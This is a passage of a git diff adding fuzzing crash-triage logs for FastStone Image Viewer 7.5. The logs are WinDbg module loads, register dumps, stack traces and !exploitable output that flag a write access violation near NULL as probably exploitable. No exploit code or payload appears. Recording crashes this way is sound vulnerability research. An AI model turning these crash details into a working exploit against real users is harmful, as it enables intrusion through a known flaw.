+ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(bc8.11fc): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07e37b19 edx=00000000 esi=00000000 edi=07c5afd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.712899554094367840000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 4.190183400000000000000e+0007 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-6.11365e-015 1.30524e-026 -1.49569e-037 -5.66586e-037 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f18130 07e95930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00205000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00205000 6867a6e7 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62b9 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00205000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/28527/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/28527/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..0e06587 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/28527/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/29083/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/29083/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/29083/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/29083/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/29083/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..a451373 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/29083/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/29083/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/29083/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..177ba6b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/29083/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1F8C: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1F8C: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1f8c.db4): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07e87b19 edx=00000000 esi=00000000 edi=07cb0fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.726973302933177440000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=3.33377e+036 1.11267e+033 7.27165e+010 -1.32248e-037 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f68130 07ee5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003b0000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003b0000 aaba19ba 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a5 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003b0000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/29083/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/29083/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..177ba6b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/29083/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1F8C: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1F8C: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image 